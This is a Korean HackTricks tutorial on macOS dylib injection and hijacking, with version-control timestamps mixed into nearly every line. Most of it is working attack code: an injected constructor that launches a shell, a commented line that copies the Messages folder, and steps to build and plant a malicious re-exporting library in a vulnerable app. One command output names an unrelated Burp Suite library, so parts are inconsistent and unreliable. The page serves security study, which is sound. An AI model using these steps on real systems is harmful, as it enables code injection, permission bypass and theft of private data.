2023-05-15 14:07:02 +00:00
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
2023-05-15 08:11:15 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2023-05-15 08:11:15 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-04 09:09:21 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 상품** ](https://peass.creator-spring.com )을 구매하세요.
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**telegram 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 저장소에 PR을 제출하세요.
2023-05-15 08:11:15 +00:00
< / details >
2024-02-10 21:30:13 +00:00
## DYLD\_INSERT\_LIBRARIES 기본 예제
2023-05-15 08:11:15 +00:00
2024-02-10 21:30:13 +00:00
**쉘을 실행하기 위해 주입할 라이브러리**:
2023-05-15 08:11:15 +00:00
```c
2023-05-15 10:48:42 +00:00
// gcc -dynamiclib -o inject.dylib inject.c
2023-05-15 08:11:15 +00:00
#include <syslog.h>
2023-05-15 10:48:42 +00:00
#include <stdio.h>
2023-05-15 08:11:15 +00:00
#include <unistd.h>
2023-09-19 22:52:16 +00:00
#include <stdlib.h>
2023-05-15 08:11:15 +00:00
__attribute__((constructor))
2023-05-18 12:13:32 +00:00
void myconstructor(int argc, const char **argv)
2023-05-15 08:11:15 +00:00
{
2024-02-10 21:30:13 +00:00
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
2023-05-15 08:11:15 +00:00
}
```
2024-02-10 21:30:13 +00:00
공격할 이진 파일:
2023-05-15 08:11:15 +00:00
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
2024-02-10 21:30:13 +00:00
printf("Hello, World!\n");
return 0;
2023-05-15 08:11:15 +00:00
}
```
2024-02-10 21:30:13 +00:00
삽입 (Injection):
2023-05-15 08:11:15 +00:00
```bash
2023-05-15 10:48:42 +00:00
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
2023-05-15 08:11:15 +00:00
```
2024-02-10 21:30:13 +00:00
## Dyld Hijacking 예제
2023-05-15 08:11:15 +00:00
2024-02-10 21:30:13 +00:00
대상 취약한 이진 파일은 `/Applications/VulnDyld.app/Contents/Resources/lib/binary` 입니다.
2023-05-15 14:07:02 +00:00
{% tabs %}
2023-09-19 22:52:16 +00:00
{% tab title="entitlements" %}
< pre class = "language-bash" data-overflow = "wrap" > < code class = "lang-bash" > codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
< strong > [...]com.apple.security.cs.disable-library-validation[...]
< / strong > < / code > < / pre >
{% endtab %}
2023-05-15 14:07:02 +00:00
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
2023-09-19 22:52:16 +00:00
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
2024-02-10 21:30:13 +00:00
cmd LC_RPATH
cmdsize 32
path @loader_path/ . (offset 12)
2023-05-15 14:07:02 +00:00
--
2024-02-10 21:30:13 +00:00
cmd LC_RPATH
cmdsize 32
path @loader_path/ ../lib2 (offset 12)
2023-05-15 14:07:02 +00:00
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
2023-09-19 22:52:16 +00:00
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
2024-02-10 21:30:13 +00:00
name @rpath/lib .dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
2023-05-15 14:07:02 +00:00
compatibility version 1.0.0
2023-09-19 22:52:16 +00:00
# Check the versions
2023-05-15 14:07:02 +00:00
```
2024-02-10 21:30:13 +00:00
{% code %}
2023-05-15 14:07:02 +00:00
{% endcode %}
{% endtab %}
{% endtabs %}
2024-02-10 21:30:13 +00:00
이전 정보를 통해 우리는 **로드된 라이브러리의 서명을 확인하지 않고** 다음 경로에서 라이브러리를 로드하려고 시도한다는 것을 알 수 있습니다:
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
2023-05-15 14:07:02 +00:00
2024-02-10 21:30:13 +00:00
그러나 첫 번째 경로는 존재하지 않습니다:
2023-05-15 14:07:02 +00:00
```bash
pwd
2023-09-19 22:52:16 +00:00
/Applications/VulnDyld.app
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
2023-05-15 14:07:02 +00:00
```
2024-02-10 21:30:13 +00:00
그래, 그것을 탈취할 수 있어! 합법적인 라이브러리와 동일한 기능을 내보내며 임의의 코드를 실행하는 라이브러리를 생성하세요. 그리고 예상 버전과 함께 컴파일하는 것을 기억하세요:
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
{% code title="lib.m" %}
2023-05-15 14:07:02 +00:00
```objectivec
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-10 21:30:13 +00:00
NSLog(@"[+] dylib hijacked in %s", argv[0]);
2023-05-15 14:07:02 +00:00
}
```
{% endcode %}
2024-02-10 21:30:13 +00:00
컴파일하십시오:
2023-05-15 14:07:02 +00:00
{% code overflow="wrap" %}
```bash
2023-09-19 22:52:16 +00:00
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
2023-05-15 14:07:02 +00:00
# Note the versions and the reexport
```
{% endcode %}
2024-02-10 21:30:13 +00:00
라이브러리에서 생성된 재내보내기 경로는 로더에 상대적이므로, 내보낼 라이브러리에 대한 절대 경로로 변경해보겠습니다:
2023-05-15 14:07:02 +00:00
{% code overflow="wrap" %}
```bash
#Check relative
2023-09-19 22:52:16 +00:00
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
2024-02-10 21:30:13 +00:00
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli .dylib (offset 24)
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib .dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
2023-05-15 14:07:02 +00:00
# Check again
2023-09-19 22:52:16 +00:00
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
2024-02-10 21:30:13 +00:00
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
2023-05-15 14:07:02 +00:00
```
{% endcode %}
2024-02-10 21:30:13 +00:00
마지막으로 **해킹된 위치**에 복사하십시오:
2023-05-15 14:07:02 +00:00
{% code overflow="wrap" %}
```bash
2023-09-19 22:52:16 +00:00
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
2023-05-15 14:07:02 +00:00
```
{% endcode %}
2024-02-10 21:30:13 +00:00
바이너리를 **실행**하고 **라이브러리가 로드되었는지** 확인하십시오:
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
< pre class = "language-context" > < code class = "lang-context" > "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
< strong > 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
< / strong > Usage: [...]
2023-05-15 14:07:02 +00:00
< / code > < / pre >
2023-05-16 16:54:39 +00:00
{% hint style="info" %}
2024-02-10 21:30:13 +00:00
텔레그램의 카메라 권한을 악용하기 위해 이 취약점을 악용하는 방법에 대한 좋은 설명은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ ](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ )에서 찾을 수 있습니다.
2023-05-16 16:54:39 +00:00
{% endhint %}
2024-02-10 21:30:13 +00:00
## 더 큰 규모
2023-05-15 08:11:15 +00:00
2024-02-10 21:30:13 +00:00
의도하지 않은 이진 파일에 라이브러리를 주입하려는 경우 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 찾을 수 있습니다 (이 경우 printf와 `/bin/bash` 실행을 제거하십시오).
2023-05-15 08:11:15 +00:00
```bash
2023-05-15 14:07:02 +00:00
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
2023-05-15 08:11:15 +00:00
```
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2023-05-15 08:11:15 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-04 09:09:21 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 저장소에 PR을 제출하세요.
2023-05-15 08:11:15 +00:00
< / details >